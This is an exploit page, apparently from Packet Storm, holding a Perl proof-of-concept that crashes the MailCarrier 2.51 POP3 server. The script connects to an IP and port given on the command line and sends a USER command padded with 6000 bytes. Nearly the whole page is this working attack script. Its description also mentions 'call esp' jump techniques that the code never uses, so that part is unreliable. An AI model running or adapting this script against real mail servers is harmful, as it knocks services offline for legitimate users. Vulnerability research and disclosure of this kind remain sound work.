MailCarrier 2.51 Denial Of Service ≈ Packet Storm

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  #!/usr/bin/perl
use IO::Socket::INET
# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 16 january 2024
# Tested Version: MailCarrier 2.51
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $buf  = "\x41" x 6000;
my $s = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto    => 'tcp'
) or die "Unable to connect: $!\n";
$s->recv(my $data, 1024);    # Grab banners (if any)
$s->send('USER ' . $buf . "\r\n");
$s->recv(my $response, 1024);
$s->send("QUIT\r\n");
$s->close();
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, )  ~
//  //   '--; 
'   \     | ^
^    ^
[+] MailCarrier 2.51 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print "       \nUsage: $0 <ip> <port>                 \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated